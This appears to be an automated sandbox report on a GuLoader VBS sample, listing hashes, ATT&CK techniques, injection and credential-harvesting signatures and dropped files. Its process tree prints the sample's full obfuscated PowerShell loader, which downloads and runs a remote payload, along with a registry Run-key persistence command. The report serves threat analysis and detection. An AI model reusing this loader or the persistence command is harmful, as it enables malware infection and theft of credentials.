guloader | 7288afd8bee301347b02c15c9930d90ec3eae978383f31c8dc35caf4d0e46f36

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
30/05/2024, 06:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7288afd8bee301347b02c15c9930d90ec3eae978383f31c8dc35caf4d0e46f36.vbs
Size 22KB
Sample240530-g88dashd5y
SHA256 7288afd8bee301347b02c15c9930d90ec3eae978383f31c8dc35caf4d0e46f36
MD5 e5ef60b0e6e580e32474eb7777e04781
SHA1 a7b4173f7b2325367ed6c8310354205754db2bf9
SHA512 764974b50e99a16cce09dfb489deeee972e024f0b45c4eef367258a1519cae03994d0fdbf901a88f15407ce742622ca1a68eb6d839bb072fac9a5ff332f15949
SSDEEP 384:6V6QoFiNpH1O8gqBg9YXw56ym/ayKXB45RGbGJwmXgcD3k0y70bZCnxeg8sMTOh7:64yQtbUceXXgcD0j4QxjHewen+v
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader collection downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/4856-55-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/1940-54-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 3 IoCs

resource	yara_rule
behavioral2/memory/4856-55-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/1940-54-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/5056-58-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	1028	WScript.exe
30	5068	Powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Unportrayed = "%Kroejers% -w 1 $Lyric=(Get-ItemProperty -Path 'HKCU:\\Snootiness215\\').Sparganum8;%Kroejers% ($Lyric)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
4984	wab.exe
4984	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4156	powershell.exe
4984	wab.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4156 set thread context of 4984	4156	powershell.exe	102
PID 4984 set thread context of 1940	4984	wab.exe	110
PID 4984 set thread context of 4856	4984	wab.exe	112
PID 4984 set thread context of 5056	4984	wab.exe	114

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3108	reg.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
5068	Powershell.exe
5068	Powershell.exe
4156	powershell.exe
4156	powershell.exe
4156	powershell.exe
1940	wab.exe
1940	wab.exe
5056	wab.exe
5056	wab.exe
1940	wab.exe
1940	wab.exe

Suspicious behavior: MapViewOfSection 7 IoCs

pid	Process
4156	powershell.exe
4984	wab.exe
4984	wab.exe
4984	wab.exe
4984	wab.exe
4984	wab.exe
4984	wab.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	5068	Powershell.exe
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeDebugPrivilege	5056	wab.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4984	wab.exe

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 1028 wrote to memory of 5068	1028	WScript.exe	97
PID 1028 wrote to memory of 5068	1028	WScript.exe	97
PID 1028 wrote to memory of 5068	1028	WScript.exe	97
PID 5068 wrote to memory of 3140	5068	Powershell.exe	99
PID 5068 wrote to memory of 3140	5068	Powershell.exe	99
PID 5068 wrote to memory of 3140	5068	Powershell.exe	99
PID 5068 wrote to memory of 4156	5068	Powershell.exe	100
PID 5068 wrote to memory of 4156	5068	Powershell.exe	100
PID 5068 wrote to memory of 4156	5068	Powershell.exe	100
PID 4156 wrote to memory of 4124	4156	powershell.exe	101
PID 4156 wrote to memory of 4124	4156	powershell.exe	101
PID 4156 wrote to memory of 4124	4156	powershell.exe	101
PID 4156 wrote to memory of 4984	4156	powershell.exe	102
PID 4156 wrote to memory of 4984	4156	powershell.exe	102
PID 4156 wrote to memory of 4984	4156	powershell.exe	102
PID 4156 wrote to memory of 4984	4156	powershell.exe	102
PID 4156 wrote to memory of 4984	4156	powershell.exe	102
PID 4984 wrote to memory of 4768	4984	wab.exe	106
PID 4984 wrote to memory of 4768	4984	wab.exe	106
PID 4984 wrote to memory of 4768	4984	wab.exe	106
PID 4768 wrote to memory of 3108	4768	cmd.exe	108
PID 4768 wrote to memory of 3108	4768	cmd.exe	108
PID 4768 wrote to memory of 3108	4768	cmd.exe	108
PID 4984 wrote to memory of 3184	4984	wab.exe	109
PID 4984 wrote to memory of 3184	4984	wab.exe	109
PID 4984 wrote to memory of 3184	4984	wab.exe	109
PID 4984 wrote to memory of 1940	4984	wab.exe	110
PID 4984 wrote to memory of 1940	4984	wab.exe	110
PID 4984 wrote to memory of 1940	4984	wab.exe	110
PID 4984 wrote to memory of 1940	4984	wab.exe	110
PID 4984 wrote to memory of 1764	4984	wab.exe	111
PID 4984 wrote to memory of 1764	4984	wab.exe	111
PID 4984 wrote to memory of 1764	4984	wab.exe	111
PID 4984 wrote to memory of 4856	4984	wab.exe	112
PID 4984 wrote to memory of 4856	4984	wab.exe	112
PID 4984 wrote to memory of 4856	4984	wab.exe	112
PID 4984 wrote to memory of 4856	4984	wab.exe	112
PID 4984 wrote to memory of 228	4984	wab.exe	113
PID 4984 wrote to memory of 228	4984	wab.exe	113
PID 4984 wrote to memory of 228	4984	wab.exe	113
PID 4984 wrote to memory of 5056	4984	wab.exe	114
PID 4984 wrote to memory of 5056	4984	wab.exe	114
PID 4984 wrote to memory of 5056	4984	wab.exe	114
PID 4984 wrote to memory of 5056	4984	wab.exe	114

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7288afd8bee301347b02c15c9930d90ec3eae978383f31c8dc35caf4d0e46f36.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1028
- C:\Windows\syswow64\windowsPowershell\v1.0\Powershell.exe
  "C:\Windows\syswow64\windowsPowershell\v1.0\Powershell.exe" "$Resplend='S';$Resplend+='ubs';$Resplend+='tri';$bramfriere = 1;$Resplend+='ng';Function Sclerodermite($Pistillaceous){$Opacify=$Pistillaceous.Length-$bramfriere;For( $Vaklet=4;$Vaklet -lt $Opacify;$Vaklet+=5){$Sliges+=$Pistillaceous.$Resplend.Invoke( $Vaklet, $bramfriere);}$Sliges;}function Shampononr245($Stipendiers){ & ($comparers) ($Stipendiers);}$Tankbilens=Sclerodermite 'NonsMKardoHerrzHjreiKatel Smal Meda Wis/,arr5Snip.Unex0Forg Drif(AfbrWGoosiElbenInd dGlanoUnbowgabesD,cu IncoNPecuTSauv Refi1solg0Till. tri0Ruti;Krep JernWteoliGen,nMods6Phra4Morg;Atwe kl sx La,6.oue4Astr;Udfl ,ivrelecvBrus:Fast1Bet.2 Afs1 I.s.Cong0Mani)Luno Ox G HjteFugecKollkTa,toK,lm/,arg2Medv0Surp1Roum0Pseu0Kiss1Kont0Prsi1 Bac NikoF Tnki .lurRff,e,ydlfEddeot,mpxvej,/Liqu1Octa2Amps1Udvk.Mule0 H.u ';$helvella=Sclerodermite 'trokUKosms,arteLeopr Sko-RephAFanagOsmoeElsen CautFors ';$Ldervingen=Sclerodermite 'broah kintHyblt,llop rdi: rit/Macr/Fastsa,koh FlleFlugrCo oeFredi SkjnAxemsAfmyaAfgaoGods.DurnsAnunaTabl.Custc,nfuoSk.tmXern/ Sp.FLlinrno,pitheamFantrThrok S peBlanptob.acha,pSigjiUnrirAlleeKnugtJohn.Ve.spRokefHderm Fl, ';$Ronsardian192=Sclerodermite '.cri>Stuk ';$comparers=Sclerodermite 'Apoci f,neGryexskop ';$Machzors='Erosionsklfterne';$Nongenealogical = Sclerodermite 'FaktemusicAnnahduneoD,fo te r%CathaAtiopRerepSe.vdhoveaFilit akfaSmk.% Del\PaasA Tryg FilurefoiRunds enntlberiPremnDefl.MultU.rocnFordcTer Kl e&trem&Prot UnreeIronc DephB trotout Tosst Toi ';Shampononr245 (Sclerodermite 'Ek.k$SvangL.ctlrehaoWomebAut,a,ndelMobi:SponM YtteBrolsI.ddtPl,teFe.brNrrev ndsrBadekUnhaeGosprAndesBydr=Nonc( TopcSnermJaegdover Unde/Magrcbase Valu$ OrdNSu,soUdlanR abgParve ,ecnRepleNonealeu lUno oReplg,urtiPrescDebtaBiobl Ret) Par ');Shampononr245 (Sclerodermite 'L vi$Afk.g ex,lMuleoCys bF.rsaUsiglP.nn:SavlsRousmUng,uAfsagStatgAggrlGenneQualaSubsbImidlConveTa,p=,rge$,ownLU.lid ValeBrefrSemivSeafiClodnSavog,uineVidenAnme. JudsErhvpF.ldlRetniUnunt Per(Hin $NineRHoejoOttanWhirs RejaUncorfodpd.ilfiKa,uacontn Mas1Fnat9,ogl2Kyse)Twee ');$Ldervingen=$smuggleable[0];$Ubestridte= (Sclerodermite 'Carr$F.rpgPoudlJ wsoHambbA,kya,oebl,eva: EngCAndahEpiti MagkPerdaStenn rims.anceTere=ShirNMokkeAl ow As,- .ebOUnnebIncojBille HypcE,ytt bry Be pSFemoy .efs Smet Po eSpeemAves.amisNBat,elongt.auc. SkrWBlkheTubebAdreC Jo l .loi ComeWheen ,ect');$Ubestridte+=$Mestervrkers[1];Shampononr245 ($Ubestridte);Shampononr245 (Sclerodermite 'Sp,r$dysmCDatahB.siiAnthkMacfaKo,rn P js KareFysi.K,glHOptoeAstraTimadOv.re FirrOphosNytt[Meta$ .hihIlleePreclSpirv ekeEmo lCyc lBk daFor ]Kons=Gall$Ud tT C.eaPaganFestk NonbYow.iSienlSocie Lirn AersStue ');$Detenten=Sclerodermite ' bug$UranCSubshTa,iiContk velaGenenj.husR.kkeFono.BladDVingo farwWet.nSre.lFemko Frsa Herdbar,FFigbi Plal AraeKode(Salt$VoksLFli,dSpheel vmrOverv AfdiHornn UnrgFor eV tsnFort, un.$En,eUTudknUdb.rJolleAlcasRu,tiChi sFamst Ovei Mi,n AfhgSe v) H n ';$Unresisting=$Mestervrkers[0];Shampononr245 (Sclerodermite 'Fro.$ auagFladl miloTursb.jenakunslProf:Ta shBlgeoFlo mR fleForuoLu,tpDdmaaCivirSolohLei i AracAfsn=Pask(BlepTPe.de.oilsUb.gt An -Ou,lPGloba Gertafsth Lys Sprl$.ageU TonnBrssr S,reS.insOv riVilds,oiltSlani Kown stig.nno)Stbe ');while (!$homeoparhic) {Shampononr245 (Sclerodermite 'Sydv$S.rrg Hjml Li,oKor bUgebaIntelHete:.iljOHemip Brip,vikiPho sReabk Apae gi.dSkaeeModssP.ss=Wood$DekutHindr d.ouD.cteNyas ') ;Shampononr245 $Detenten;Shampononr245 (Sclerodermite 'VensS .nmtKr.mainter P,atPost-GillSBesrlRe,re C ne fskpRehy Summ4Detu ');Shampononr245 (Sclerodermite ',rss$Herrg MgllGr so DenbRe.paLe,klPoly:DatahPr eoHetemgte.e EnkoSubmpOrtha AhurKrighK.nsiSde c Sup=Unst(M.alT.ypeeDelts,ysttDi o-EentPU pra.nwit,rblhAn.r A hi$AdreU acn ,onr angeGorasPeriiMimmsGlastLnsdiTidsn OvegReso) Spi ') ;Shampononr245 (Sclerodermite 'unsa$ud ugSe qlLa,lo UpsbEyelaAf,al Rev:KlunbSpu,eCucun BalgEquitLateeNonrr Floe.lig=Chau$ EnugS iplAssooUhyrbGasma ppalK,ed:EthiKHavknF ltoTch kPa,dkHyrde Dihl G,asNephtVal.r SolkFr.o2 Int2 P.n7zarr+Gids+ Mod% .om$indfsdigtm FiduDepog.estgIncelLivse heeadollb RhelDemie Aer.DehycLooroWheyuni.onCap tTrst ') ;$Ldervingen=$smuggleable[$bengtere];}$Sejpines66=297677;$Indissipable=29972;Shampononr245 (Sclerodermite 'Kon,$r.ffgDetelUdemoRecobliniaMu,rlMo.e:RigsFCa.boUndel K.lkE.eteV,ndbRel aWan asal,dCo,peIndi Tufs=Indi UndeGLneheVrdit Opt-antiCJavaoBi lnBrantAar,eStvdnTubet Tro sul$ DraUEufenAccir ule.edis C,uiSe.asVltetSki iAft n npagCoun ');Shampononr245 (Sclerodermite 'Acet$ Do gSponlserpoAthebD.maaUdsklHyss:Rin LPonta Phyp,ddiaSterrdommoCigat,fmarvo,laAtelc,fbrhIntee Pa,lMo.ioLoustTrisoForum BlgyOthm com.= ari Sin[.oinSbondyMicrsTremtU deeAccemhjem. LorCRecuoprecnD prvCockeNonlrIn htOphi]Tren: fo.: V.rFTr crTvivoSupemTeleB.otaaDrotsWante Pri6T.ev4 preS.nfrteconrI eriR,mbnN,utgCogn( Ecc$TritFKanaoFranlArchkManieFr lbEddeaSindaSchodNonmeRobo)skil ');Shampononr245 (Sclerodermite 'Pe,a$A.migLibilCre,oRo ub Co,aKontl pna:TachMNeuriTr ncOverrSaveoTrygrIndleRachfFlagrCleaaDesicSnertT,ivoTam m B meTalltA steMuckr ou Yn i=Leec N,to[Bea SAvliy .tasNe nt BoreFur m He..ForeT Anveal.exSammt,itm. GigEloton AngcChefoUp idSpadi Ca,nIkrag Buk]Begr:Perf: .ubAFolkSBommCForsIDre I oul. NonGDykseA mit PerSOn,etInverKartiBeskn .mugbil,(Frit$ TreL.ulpaKefsp egoaBasqrSkaboIndut Medr AquaSponcce.lhRhome.ircl.ttro hamtMai,o,laam S.eySt.t)B st ');Shampononr245 (Sclerodermite 'hvis$ LeugRefolCopuoArmrbErviaRa,tlFers:SterHAu.okOpkll Re.e Whed,lkoe F,r=Lge.$UhilMBulli ColcAcuprMageoSvinrTa ees hefVersrSj.saAt.ecUdf.tunscoCausm,aboeSidetWin e SenrStan. UnisRotauActub.moosTa,dtBarbrDi,ii P.lnDruegChef(Im a$fo.tSExo.eAvijj,iospDomii Mobn FinePerlsP,ow6Spor6 Cu ,,yst$RdliIOr.enBitidKnowiAloesSvegsLyrii AnkpP.ocaClarbBurml.illeCrit)Pi e ');Shampononr245 $Hklede;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5068
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Aguistin.Unc && echo t"
    3⤵
    PID:3140
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Resplend='S';$Resplend+='ubs';$Resplend+='tri';$bramfriere = 1;$Resplend+='ng';Function Sclerodermite($Pistillaceous){$Opacify=$Pistillaceous.Length-$bramfriere;For( $Vaklet=4;$Vaklet -lt $Opacify;$Vaklet+=5){$Sliges+=$Pistillaceous.$Resplend.Invoke( $Vaklet, $bramfriere);}$Sliges;}function Shampononr245($Stipendiers){ & ($comparers) ($Stipendiers);}$Tankbilens=Sclerodermite 'NonsMKardoHerrzHjreiKatel Smal Meda Wis/,arr5Snip.Unex0Forg Drif(AfbrWGoosiElbenInd dGlanoUnbowgabesD,cu IncoNPecuTSauv Refi1solg0Till. tri0Ruti;Krep JernWteoliGen,nMods6Phra4Morg;Atwe kl sx La,6.oue4Astr;Udfl ,ivrelecvBrus:Fast1Bet.2 Afs1 I.s.Cong0Mani)Luno Ox G HjteFugecKollkTa,toK,lm/,arg2Medv0Surp1Roum0Pseu0Kiss1Kont0Prsi1 Bac NikoF Tnki .lurRff,e,ydlfEddeot,mpxvej,/Liqu1Octa2Amps1Udvk.Mule0 H.u ';$helvella=Sclerodermite 'trokUKosms,arteLeopr Sko-RephAFanagOsmoeElsen CautFors ';$Ldervingen=Sclerodermite 'broah kintHyblt,llop rdi: rit/Macr/Fastsa,koh FlleFlugrCo oeFredi SkjnAxemsAfmyaAfgaoGods.DurnsAnunaTabl.Custc,nfuoSk.tmXern/ Sp.FLlinrno,pitheamFantrThrok S peBlanptob.acha,pSigjiUnrirAlleeKnugtJohn.Ve.spRokefHderm Fl, ';$Ronsardian192=Sclerodermite '.cri>Stuk ';$comparers=Sclerodermite 'Apoci f,neGryexskop ';$Machzors='Erosionsklfterne';$Nongenealogical = Sclerodermite 'FaktemusicAnnahduneoD,fo te r%CathaAtiopRerepSe.vdhoveaFilit akfaSmk.% Del\PaasA Tryg FilurefoiRunds enntlberiPremnDefl.MultU.rocnFordcTer Kl e&trem&Prot UnreeIronc DephB trotout Tosst Toi ';Shampononr245 (Sclerodermite 'Ek.k$SvangL.ctlrehaoWomebAut,a,ndelMobi:SponM YtteBrolsI.ddtPl,teFe.brNrrev ndsrBadekUnhaeGosprAndesBydr=Nonc( TopcSnermJaegdover Unde/Magrcbase Valu$ OrdNSu,soUdlanR abgParve ,ecnRepleNonealeu lUno oReplg,urtiPrescDebtaBiobl Ret) Par ');Shampononr245 (Sclerodermite 'L vi$Afk.g ex,lMuleoCys bF.rsaUsiglP.nn:SavlsRousmUng,uAfsagStatgAggrlGenneQualaSubsbImidlConveTa,p=,rge$,ownLU.lid ValeBrefrSemivSeafiClodnSavog,uineVidenAnme. JudsErhvpF.ldlRetniUnunt Per(Hin $NineRHoejoOttanWhirs RejaUncorfodpd.ilfiKa,uacontn Mas1Fnat9,ogl2Kyse)Twee ');$Ldervingen=$smuggleable[0];$Ubestridte= (Sclerodermite 'Carr$F.rpgPoudlJ wsoHambbA,kya,oebl,eva: EngCAndahEpiti MagkPerdaStenn rims.anceTere=ShirNMokkeAl ow As,- .ebOUnnebIncojBille HypcE,ytt bry Be pSFemoy .efs Smet Po eSpeemAves.amisNBat,elongt.auc. SkrWBlkheTubebAdreC Jo l .loi ComeWheen ,ect');$Ubestridte+=$Mestervrkers[1];Shampononr245 ($Ubestridte);Shampononr245 (Sclerodermite 'Sp,r$dysmCDatahB.siiAnthkMacfaKo,rn P js KareFysi.K,glHOptoeAstraTimadOv.re FirrOphosNytt[Meta$ .hihIlleePreclSpirv ekeEmo lCyc lBk daFor ]Kons=Gall$Ud tT C.eaPaganFestk NonbYow.iSienlSocie Lirn AersStue ');$Detenten=Sclerodermite ' bug$UranCSubshTa,iiContk velaGenenj.husR.kkeFono.BladDVingo farwWet.nSre.lFemko Frsa Herdbar,FFigbi Plal AraeKode(Salt$VoksLFli,dSpheel vmrOverv AfdiHornn UnrgFor eV tsnFort, un.$En,eUTudknUdb.rJolleAlcasRu,tiChi sFamst Ovei Mi,n AfhgSe v) H n ';$Unresisting=$Mestervrkers[0];Shampononr245 (Sclerodermite 'Fro.$ auagFladl miloTursb.jenakunslProf:Ta shBlgeoFlo mR fleForuoLu,tpDdmaaCivirSolohLei i AracAfsn=Pask(BlepTPe.de.oilsUb.gt An -Ou,lPGloba Gertafsth Lys Sprl$.ageU TonnBrssr S,reS.insOv riVilds,oiltSlani Kown stig.nno)Stbe ');while (!$homeoparhic) {Shampononr245 (Sclerodermite 'Sydv$S.rrg Hjml Li,oKor bUgebaIntelHete:.iljOHemip Brip,vikiPho sReabk Apae gi.dSkaeeModssP.ss=Wood$DekutHindr d.ouD.cteNyas ') ;Shampononr245 $Detenten;Shampononr245 (Sclerodermite 'VensS .nmtKr.mainter P,atPost-GillSBesrlRe,re C ne fskpRehy Summ4Detu ');Shampononr245 (Sclerodermite ',rss$Herrg MgllGr so DenbRe.paLe,klPoly:DatahPr eoHetemgte.e EnkoSubmpOrtha AhurKrighK.nsiSde c Sup=Unst(M.alT.ypeeDelts,ysttDi o-EentPU pra.nwit,rblhAn.r A hi$AdreU acn ,onr angeGorasPeriiMimmsGlastLnsdiTidsn OvegReso) Spi ') ;Shampononr245 (Sclerodermite 'unsa$ud ugSe qlLa,lo UpsbEyelaAf,al Rev:KlunbSpu,eCucun BalgEquitLateeNonrr Floe.lig=Chau$ EnugS iplAssooUhyrbGasma ppalK,ed:EthiKHavknF ltoTch kPa,dkHyrde Dihl G,asNephtVal.r SolkFr.o2 Int2 P.n7zarr+Gids+ Mod% .om$indfsdigtm FiduDepog.estgIncelLivse heeadollb RhelDemie Aer.DehycLooroWheyuni.onCap tTrst ') ;$Ldervingen=$smuggleable[$bengtere];}$Sejpines66=297677;$Indissipable=29972;Shampononr245 (Sclerodermite 'Kon,$r.ffgDetelUdemoRecobliniaMu,rlMo.e:RigsFCa.boUndel K.lkE.eteV,ndbRel aWan asal,dCo,peIndi Tufs=Indi UndeGLneheVrdit Opt-antiCJavaoBi lnBrantAar,eStvdnTubet Tro sul$ DraUEufenAccir ule.edis C,uiSe.asVltetSki iAft n npagCoun ');Shampononr245 (Sclerodermite 'Acet$ Do gSponlserpoAthebD.maaUdsklHyss:Rin LPonta Phyp,ddiaSterrdommoCigat,fmarvo,laAtelc,fbrhIntee Pa,lMo.ioLoustTrisoForum BlgyOthm com.= ari Sin[.oinSbondyMicrsTremtU deeAccemhjem. LorCRecuoprecnD prvCockeNonlrIn htOphi]Tren: fo.: V.rFTr crTvivoSupemTeleB.otaaDrotsWante Pri6T.ev4 preS.nfrteconrI eriR,mbnN,utgCogn( Ecc$TritFKanaoFranlArchkManieFr lbEddeaSindaSchodNonmeRobo)skil ');Shampononr245 (Sclerodermite 'Pe,a$A.migLibilCre,oRo ub Co,aKontl pna:TachMNeuriTr ncOverrSaveoTrygrIndleRachfFlagrCleaaDesicSnertT,ivoTam m B meTalltA steMuckr ou Yn i=Leec N,to[Bea SAvliy .tasNe nt BoreFur m He..ForeT Anveal.exSammt,itm. GigEloton AngcChefoUp idSpadi Ca,nIkrag Buk]Begr:Perf: .ubAFolkSBommCForsIDre I oul. NonGDykseA mit PerSOn,etInverKartiBeskn .mugbil,(Frit$ TreL.ulpaKefsp egoaBasqrSkaboIndut Medr AquaSponcce.lhRhome.ircl.ttro hamtMai,o,laam S.eySt.t)B st ');Shampononr245 (Sclerodermite 'hvis$ LeugRefolCopuoArmrbErviaRa,tlFers:SterHAu.okOpkll Re.e Whed,lkoe F,r=Lge.$UhilMBulli ColcAcuprMageoSvinrTa ees hefVersrSj.saAt.ecUdf.tunscoCausm,aboeSidetWin e SenrStan. UnisRotauActub.moosTa,dtBarbrDi,ii P.lnDruegChef(Im a$fo.tSExo.eAvijj,iospDomii Mobn FinePerlsP,ow6Spor6 Cu ,,yst$RdliIOr.enBitidKnowiAloesSvegsLyrii AnkpP.ocaClarbBurml.illeCrit)Pi e ');Shampononr245 $Hklede;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4156
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Aguistin.Unc && echo t"
      4⤵
      PID:4124
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:4984
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Unportrayed" /t REG_EXPAND_SZ /d "%Kroejers% -w 1 $Lyric=(Get-ItemProperty -Path 'HKCU:\Snootiness215\').Sparganum8;%Kroejers% ($Lyric)"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4768
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Unportrayed" /t REG_EXPAND_SZ /d "%Kroejers% -w 1 $Lyric=(Get-ItemProperty -Path 'HKCU:\Snootiness215\').Sparganum8;%Kroejers% ($Lyric)"
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:3108
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\kokfblcoaodsspjtetlzkjnft"
        5⤵
        
        PID:3184
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\kokfblcoaodsspjtetlzkjnft"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1940
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\mixybenqoxvfudxxweybnohoctob"
        5⤵
        
        PID:1764
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\mixybenqoxvfudxxweybnohoctob"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:4856
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\xkcicwxjkfnkejtjfhtuybcfdagkhjud"
        5⤵
        
        PID:228
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\xkcicwxjkfnkejtjfhtuybcfdagkhjud"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 144B
SHA256 176a83fa6312198a77c3abe7b8d173e72cc864feeba1010003ee8003fd605bcb
MD5 0a751643228051191d6377d6505d4b85
SHA1 2216de7ae8aa522de93acbd30a9524f3eae73679
SHA512 b410b3f6373930d300690614300d736105513e2dd5ee1548f13209e8264f55bd1b65c07e4f827c1e3a6c5100b667f1b18d202064e11ed1225ee70b85318266c5
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_5rx0m4te.zge.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5rx0m4te.zge.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

kokfblcoaodsspjtetlzkjnft

Path C:\Users\Admin\AppData\Local\Temp\kokfblcoaodsspjtetlzkjnft
Size 4KB
SHA256 54c101b6b1241b6a0574a66e5a5b9bddc6c60a4daf7338dba6fe3f65b27382af
MD5 18b6368b183e546a35847ae24b4b2913
SHA1 040545f7ac2c987d2a79b5e7f1cf9ab83bd25923
SHA512 68ba8734016705cd12bf9d7ce41d5c823b2ec6ce9ee1ee7e9da9efcd9c88ef1f1b18148d91ad6a271c7a88d4ca098a99198ca709fcf217f9b1fa18f74c48d698
SSDEEP 48:wvvv0AxfvvcAxfdvv0AxBvv0Axakvv0A7:mv5xvBp1v5Pv5bv57
MD5 SHA1 SHA512 SSDEEP

Submit Download

Aguistin.Unc

Path C:\Users\Admin\AppData\Roaming\Aguistin.Unc
Size 426KB
SHA256 c6d8fbb387742daef25517d47cb035a0968a099858d5f4be49d030ebe0a0a38f
MD5 3a0b6dffa834d6794b8d524dff67508d
SHA1 7e2827fece218a4245a4577b09cfbdbfffd31217
SHA512 f80dbc710dac8a072ce4e1689082962d06082538a85b0dc30aa6ffa516ed2ece7ac860bc03c4fb77f7d0343260516e19b71fa91fea282b24140e2cafcedf2e1a
